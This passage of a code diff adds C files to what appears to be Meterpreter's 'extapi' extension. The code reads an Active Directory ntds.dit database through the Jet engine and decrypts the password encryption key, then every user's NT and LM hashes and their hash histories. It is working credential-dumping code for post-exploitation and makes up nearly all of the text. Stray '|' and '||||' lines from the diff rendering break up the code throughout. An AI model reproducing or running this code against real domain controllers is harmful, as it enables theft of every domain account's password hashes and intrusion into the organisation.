return FALSE;
|
||||
}
|
||||
cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer);
|
||||
if (!cryptOK) {
|
||||
CryptDestroyKey(rc4KeyFinal);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return FALSE;
|
||||
}
|
||||
// Clean up after ourselves
|
||||
CryptDestroyKey(rc4KeyFinal);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return TRUE;
|
||||
}
|
31
c/meterpreter/source/extensions/extapi/ntds_decrypt.h
Executable file
31
c/meterpreter/source/extensions/extapi/ntds_decrypt.h
Executable file
@ -0,0 +1,31 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_DECRYPT_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_DECRYPT_H
|
||||
struct encryptedHash{
|
||||
unsigned char header[8];
|
||||
unsigned char keyMaterial[16];
|
||||
unsigned char encryptedHash[16];
|
||||
};
|
||||
|
||||
struct encryptedPEK{
|
||||
unsigned char header[8];
|
||||
unsigned char keyMaterial[16];
|
||||
unsigned char pekData[36];
|
||||
unsigned char pekFinal[16];
|
||||
};
|
||||
|
||||
struct decryptedPEK{
|
||||
unsigned char pekData[36];
|
||||
unsigned char pekKey[16];
|
||||
};
|
||||
|
||||
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output);
|
||||
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid);
|
||||
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash);
|
||||
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount);
|
||||
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted);
|
||||
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, unsigned int hashIterations, DWORD lenBuffer);
|
||||
|
||||
#define HASH_LENGTH_BYTES 16
|
||||
#define NULL_TERMINATED_HASH_LENGTH 17
|
||||
#define NULL_TERMINATED_HASH_STRING_LENGTH 33
|
||||
#endif
|
479
c/meterpreter/source/extensions/extapi/ntds_jet.c
Normal file
479
c/meterpreter/source/extensions/extapi/ntds_jet.c
Normal file
@ -0,0 +1,479 @@
|
||||
/*!
|
||||
* @file ntds_jet.c
|
||||
* @brief Definitions for NTDS Jet Engine functions
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
#include "ntds.h"
|
||||
|
||||
/*!
|
||||
* @brief Shuts down the Jet Instance and frees the jetState struct.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR engine_shutdown(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR shutdownStatus;
|
||||
shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
|
||||
if (shutdownStatus != JET_errSuccess) {
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath);
|
||||
if (shutdownStatus != JET_errSuccess) {
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
|
||||
if (shutdownStatus != JET_errSuccess) {
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetTerm(ntdsState->jetEngine);
|
||||
free(ntdsState);
|
||||
return shutdownStatus;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Starts up the Jet Instance and initialises it.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR engine_startup(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR jetError;
|
||||
// Set the Page Size to the highest possibile limit
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
|
||||
if (jetError != JET_errSuccess) {
|
||||
return jetError;
|
||||
}
|
||||
char instanceName[80] = "NTDS ";
|
||||
get_instance_name(instanceName);
|
||||
// Create our Jet Instance
|
||||
jetError = JetCreateInstance(&ntdsState->jetEngine, instanceName);
|
||||
if (jetError != JET_errSuccess) {
|
||||
return jetError;
|
||||
}
|
||||
// Disable crash recovery and transaction logs
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil,
|
||||
JET_paramRecovery, (JET_API_PTR)NULL, "Off");
|
||||
if (jetError != JET_errSuccess) {
|
||||
return jetError;
|
||||
}
|
||||
// Initialise the Jet instance
|
||||
jetError = JetInit(&ntdsState->jetEngine);
|
||||
if (jetError != JET_errSuccess) {
|
||||
return jetError;
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
void get_instance_name(char *name)
|
||||
{
|
||||
SYSTEMTIME currentTime;
|
||||
GetSystemTime(¤tTime);
|
||||
char dateString[31];
|
||||
char timeString[31];
|
||||
GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, ¤tTime, NULL, dateString, 30);
|
||||
strncat_s(name, 80, dateString, 30);
|
||||
GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, ¤tTime, NULL, timeString, 30);
|
||||
strncat_s(name, 80, timeString, 30);
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Moves the database cursor to the first record in the 'datatable' table
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR find_first(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
|
||||
return cursorStatus;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Collect the Column Definitions for all relevant columns in 'datatable'
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
|
||||
{
|
||||
JET_ERR columnError;
|
||||
struct {
|
||||
char *name;
|
||||
JET_COLUMNDEF *column;
|
||||
}columns[] = {
|
||||
{ "ATTm590045", &accountColumns->accountName },
|
||||
{ "ATTj590126", &accountColumns->accountType },
|
||||
{ "ATTq589983", &accountColumns->accountExpiry },
|
||||
{ "ATTk590689", &accountColumns->encryptionKey },
|
||||
{ "ATTq589876", &accountColumns->lastLogon },
|
||||
{ "ATTk589879", &accountColumns->lmHash },
|
||||
{ "ATTk589984", &accountColumns->lmHistory },
|
||||
{ "ATTj589993", &accountColumns->logonCount },
|
||||
{ "ATTk589914", &accountColumns->ntHash },
|
||||
{ "ATTk589918", &accountColumns->ntHistory },
|
||||
{ "ATTm13", &accountColumns->accountDescription },
|
||||
{ "ATTj589832", &accountColumns->accountControl },
|
||||
{ "ATTq589920", &accountColumns->lastPasswordChange },
|
||||
{ "ATTr589970", &accountColumns->accountSID }
|
||||
};
|
||||
int countColumns = sizeof(columns) / sizeof(columns[0]);
|
||||
for (int i = 0; i < countColumns; i++) {
|
||||
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
|
||||
if (columnError != JET_errSuccess) {
|
||||
return columnError;
|
||||
}
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Finds the Password Encryption Key(PEK) record in 'datatable'
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekEncrypted Pointer to an encryptedPEK struct to hold our encrypted PEK
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
unsigned char *encryptionKey[76];
|
||||
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
|
||||
if (cursorStatus != JET_errSuccess) {
|
||||
return cursorStatus;
|
||||
}
|
||||
do {
|
||||
//Attempt to retrieve the Password Encryption Key
|
||||
unsigned long columnSize = 0;
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_errSuccess) {
|
||||
memcpy(pekEncrypted, &encryptionKey, 76);
|
||||
return readStatus;
|
||||
}
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
|
||||
} while (cursorStatus == JET_errSuccess);
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Moves the database cursor to the next User record in 'datatable'
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
JET_ERR finalStatus = JET_errSuccess;
|
||||
DWORD accountType = 0;
|
||||
unsigned long columnSize = 0;
|
||||
do {
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
|
||||
if (cursorStatus != JET_errSuccess) {
|
||||
finalStatus = cursorStatus;
|
||||
break;
|
||||
}
|
||||
//Retrieve the account type for this row
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL);
|
||||
// Unless this is a User Account, then we skip it
|
||||
if (readStatus == JET_wrnColumnNull) {
|
||||
continue;
|
||||
}
|
||||
else if (readStatus != JET_errSuccess) {
|
||||
finalStatus = readStatus;
|
||||
break;
|
||||
}
|
||||
} while (accountType != 0x30000000);
|
||||
return finalStatus;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attach our Jet Instance to the ntds.dit file and open the 'datatable' table for reading.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR open_database(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
|
||||
if (attachStatus != JET_errSuccess) {
|
||||
return attachStatus;
|
||||
}
|
||||
JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly);
|
||||
if (openStatus != JET_errSuccess) {
|
||||
return openStatus;
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Read the current user record into an ntdsAccount struct.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
DWORD accountControl = 0;
|
||||
unsigned long columnSize = 0;
|
||||
// Grab the SID here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountSID), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
// Derive the RID from the SID
|
||||
int ridIndex = columnSize - sizeof(DWORD);
|
||||
DWORD *ridLoc = (DWORD *)&userAccount->accountSID[ridIndex];
|
||||
userAccount->accountRID = htonl(*ridLoc);
|
||||
// Grab the samAccountName here
|
||||
wchar_t accountName[20] = { 0x00 };
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &accountName, sizeof(accountName), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountNameStr = wchar_to_utf8(accountName);
|
||||
if (accountNameStr) {
|
||||
strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1);
|
||||
free(accountNameStr);
|
||||
}
|
||||
|
||||
// Grab the Account Description here
|
||||
wchar_t accountDescription[1024] = { 0x00 };
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &accountDescription, sizeof(accountDescription), &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnColumnNull) {
|
||||
memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription));
|
||||
}
|
||||
else if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountDescriptionStr = wchar_to_utf8(accountDescription);
|
||||
if (accountDescriptionStr) {
|
||||
strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1);
|
||||
free(accountDescriptionStr);
|
||||
}
|
||||
|
||||
// Grab the UserAccountControl flags here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
userAccount->accountDisabled = !!(accountControl & NTDS_ACCOUNT_DISABLED);
|
||||
userAccount->accountLocked = !!(accountControl & NTDS_ACCOUNT_LOCKED);
|
||||
userAccount->noPassword = !!(accountControl & NTDS_ACCOUNT_NO_PASS);
|
||||
userAccount->passExpired = !!(accountControl & NTDS_ACCOUNT_PASS_EXPIRED);
|
||||
userAccount->passNoExpire = !!(accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE);
|
||||
// Grab the Logon Count here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
// Grab the various Dates and Times
|
||||
readStatus = read_user_dates(ntdsState, accountColumns, pekDecrypted, userAccount);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
// Grab the NT Hash
|
||||
readStatus = read_user_nt_hash(ntdsState, accountColumns, pekDecrypted, userAccount);
|
||||
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
|
||||
return readStatus;
|
||||
}
|
||||
// Grab the LM Hash
|
||||
readStatus = read_user_lm_hash(ntdsState, accountColumns, pekDecrypted, userAccount);
|
||||
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
|
||||
return readStatus;
|
||||
}
|
||||
// Grab the Hash History
|
||||
readStatus = read_user_hash_history(ntdsState, accountColumns, pekDecrypted, userAccount);
|
||||
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Read the current user record's various datetime records.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
FILETIME accountExpiry;
|
||||
SYSTEMTIME accountExpiry2;
|
||||
FILETIME lastLogon;
|
||||
SYSTEMTIME lastLogon2;
|
||||
FILETIME lastPass;
|
||||
SYSTEMTIME lastPass2;
|
||||
// Grab the account expiration date/time here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&accountExpiry, &accountExpiry2);
|
||||
int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 30);
|
||||
// Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never'
|
||||
if (dateResult == 0) {
|
||||
strncpy_s(userAccount->expiryDate, 6, "Never", 5);
|
||||
}
|
||||
// Grab the last logon date and time
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&lastLogon, &lastLogon2);
|
||||
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 30);
|
||||
// Getting Human Readable will fail if account has never logged in, much like the expiry date
|
||||
if (dateResult == 0) {
|
||||
strncpy_s(userAccount->logonDate, 6, "Never", 5);
|
||||
}
|
||||
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 30);
|
||||
if (dateResult == 0) {
|
||||
strncpy_s(userAccount->logonTime, 6, "Never", 5);
|
||||
}
|
||||
// Grab the last password change date and time
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
return readStatus;
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&lastPass, &lastPass2);
|
||||
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 30);
|
||||
// Getting Human Readable will fail if account has never logged in, much like the expiry date
|
||||
if (dateResult == 0) {
|
||||
strncpy_s(userAccount->passChangeDate, 6, "Never", 5);
|
||||
}
|
||||
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 30);
|
||||
if (dateResult == 0) {
|
||||
strncpy_s(userAccount->passChangeTime, 6, "Never", 5);
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Read the current user record's hash history.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnBufferTruncated) {
|
||||
LPBYTE encNTHist = (LPBYTE)calloc(1, columnSize);
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
|
||||
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->ntHistory, &userAccount->numNTHistory);
|
||||
free(encNTHist);
|
||||
// If there's no NT history, there's no LM history
|
||||
// Grab the LM History
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnBufferTruncated) {
|
||||
LPBYTE encLMHist = (LPBYTE)calloc(1, columnSize);
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
|
||||
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->lmHistory, &userAccount->numLMHistory);
|
||||
free(encLMHist);
|
||||
}
|
||||
else {
|
||||
return readStatus;
|
||||
}
|
||||
}
|
||||
else {
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Read the current user record's LM Hash.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
struct encryptedHash *encryptedLM = calloc(1, sizeof(struct encryptedHash));
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(struct encryptedHash), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
if (readStatus == JET_wrnColumnNull) {
|
||||
memcpy(userAccount->lmHash, BLANK_LM_HASH, 32);
|
||||
}
|
||||
else {
|
||||
free(encryptedLM);
|
||||
return readStatus;
|
||||
}
|
||||
}
|
||||
else {
|
||||
decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID);
|
||||
}
|
||||
free(encryptedLM);
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Read the current user record's NT Hash.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
struct encryptedHash *encryptedNT = calloc(1, sizeof(struct encryptedHash));
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession,
|
||||
ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT,
|
||||
sizeof(struct encryptedHash), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
if (readStatus == JET_wrnColumnNull) {
|
||||
memcpy(userAccount->ntHash, BLANK_NT_HASH, 32);
|
||||
}
|
||||
else {
|
||||
free(encryptedNT);
|
||||
return readStatus;
|
||||
}
|
||||
}
|
||||
else {
|
||||
decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID);
|
||||
}
|
||||
free(encryptedNT);
|
||||
return JET_errSuccess;
|
||||
}
|
83
c/meterpreter/source/extensions/extapi/ntds_jet.h
Executable file
83
c/meterpreter/source/extensions/extapi/ntds_jet.h
Executable file
@ -0,0 +1,83 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_JET_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_JET_H
|
||||
#include <esent.h>
|
||||
#pragma comment(lib, "esent")
|
||||
|
||||
/*! @brief Typedef for the jetState struct. */
|
||||
struct jetState{
|
||||
TCHAR ntdsPath[255];
|
||||
JET_INSTANCE jetEngine;
|
||||
JET_SESID jetSession;
|
||||
JET_DBID jetDatabase;
|
||||
JET_TABLEID jetTable;
|
||||
};
|
||||
|
||||
/*! @brief Typedef for the ntdsColumns struct. */
|
||||
struct ntdsColumns{
|
||||
JET_COLUMNDEF accountName;
|
||||
JET_COLUMNDEF accountType;
|
||||
JET_COLUMNDEF accountExpiry;
|
||||
JET_COLUMNDEF accountDescription;
|
||||
JET_COLUMNDEF accountControl;
|
||||
JET_COLUMNDEF encryptionKey;
|
||||
JET_COLUMNDEF lastLogon;
|
||||
JET_COLUMNDEF lastPasswordChange;
|
||||
JET_COLUMNDEF lmHash;
|
||||
JET_COLUMNDEF lmHistory;
|
||||
JET_COLUMNDEF logonCount;
|
||||
JET_COLUMNDEF ntHash;
|
||||
JET_COLUMNDEF ntHistory;
|
||||
JET_COLUMNDEF accountSID;
|
||||
};
|
||||
|
||||
#define ACCOUNT_NAME_SIZE 128
|
||||
#define ACCOUNT_DESC_SIZE 1024
|
||||
|
||||
/*! @brief Typedef for the ntdsAccount struct. */
|
||||
struct ntdsAccount{
|
||||
char accountName[ACCOUNT_NAME_SIZE];
|
||||
char accountDescription[ACCOUNT_DESC_SIZE];
|
||||
DWORD accountRID;
|
||||
BOOL accountDisabled;
|
||||
BOOL accountLocked;
|
||||
BOOL noPassword;
|
||||
BOOL passNoExpire;
|
||||
BOOL passExpired;
|
||||
int logonCount;
|
||||
int numNTHistory;
|
||||
int numLMHistory;
|
||||
char expiryDate[30];
|
||||
char logonDate[30];
|
||||
char logonTime[30];
|
||||
char passChangeDate[30];
|
||||
char passChangeTime[30];
|
||||
char lmHash[33];
|
||||
char ntHash[33];
|
||||
char lmHistory[792];
|
||||
char ntHistory[792];
|
||||
unsigned char accountSID[28];
|
||||
};
|
||||
|
||||
|
||||
// UserAccountControl Flags
|
||||
#define NTDS_ACCOUNT_DISABLED 0x00000002
|
||||
#define NTDS_ACCOUNT_LOCKED 0x00000010
|
||||
#define NTDS_ACCOUNT_NO_PASS 0x00000020
|
||||
#define NTDS_ACCOUNT_PASS_NO_EXPIRE 0x00010000
|
||||
#define NTDS_ACCOUNT_PASS_EXPIRED 0x00800000
|
||||
|
||||
JET_ERR engine_shutdown(struct jetState *ntdsState);
|
||||
JET_ERR engine_startup(struct jetState *ntdsState);
|
||||
JET_ERR find_first(struct jetState *ntdsState);
|
||||
JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns);
|
||||
JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted);
|
||||
JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns);
|
||||
JET_ERR open_database(struct jetState *ntdsState);
|
||||
JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount);
|
||||
JET_ERR read_table(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted);
|
||||
JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount);
|
||||
